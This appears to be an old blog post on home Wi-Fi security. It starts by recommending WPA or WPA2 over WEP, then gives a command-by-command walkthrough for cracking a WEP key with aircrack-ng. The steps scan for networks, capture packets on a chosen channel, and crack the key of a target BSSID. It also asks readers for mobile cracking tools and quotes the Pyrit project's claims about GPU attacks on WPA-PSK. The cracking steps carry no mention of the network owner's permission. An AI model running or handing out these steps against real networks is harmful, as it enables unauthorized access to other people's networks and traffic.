Malicious people don’t target big and corporate wireless networks only. If you have a Wi-Fi network at home or in a small office, your network might be attractive also. Malicious people might consider using unprotected and weak protected networks as hubs for malicious and illegal activities. By using an unprotected or weak protected wireless network, they can attack credit cards systems and netbanks from your wireless network and then all the illegal activities seems to originate from your IP address and your home or small office.

Therefore, all wireless networks should be protected with encryption.

Minimum Protection

• Use WPA or WPA2 encryption (not WEP encryption, it is proven to be unsecure and weak)
• If your wireless network devices do not support WPA or WPA2, then use WEP with minimum 128 Bit, enable mac address filtering (available in most SOHO routers), and use VPN-based encryption whenever it is possible.

Today I searched the internet for a Wifi scanner and a network security analyzer (read: WPA and WEP cracking tool), but the only tool I found was WiFiFoFum, which is a Wifi scanner.

Feel free to leave a comment if you know any wireless network cracking and hacking tools for Windows Mobile.

It is fairly easy to crack a WEP encrypted wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast to crack or hack using a plain Linux distribution.

WEP was intended to provide comparable confidentiality to a traditional wired network (in particular it does not protect users of the network from each other), hence the name. Several serious weaknesses were identified by cryptanalysts — any WEP key can be cracked with readily available software in two minutes or less — and WEP was superseded by Wi-Fi Protected Access (WPA) in 2003, and then by the full IEEE 802.11i standard (also known as WPA2) in 2004. Despite the weaknesses, WEP provides a level of security that can deter casual snooping. Wikipedia

Install aircrack-ng – on Debian Etch by:

sudo apt-get install aircrack-ng


Then start aircrack-ng to look for wireless networks:

sudo airodump-ng eth1


Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1


Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap


The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

UPDATE Oct 12 2008
A new project called Pyrit is currently under it’s way. “Pyrit takes a step ahead in attacking WPA-PSK and WPA2-PSK, the protocol that today de-facto protects public WIFI-airspace. The project’s goal is to estimate the real-world security provided by these protocols. Pyrit does not provide binary files or wordlists and does not encourage anyone to participate or engage in any harmful activity. This is a research project, not a cracking tool.

Pyrit’s implementation allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff. The performance gain for real-world-attacks is in the range of three orders of magnitude which urges for re-consideration of the protocol’s security. Exploiting the computational power of GPUs, this is currently by far the most powerful attack against one of the world’s most used security-protocols.”
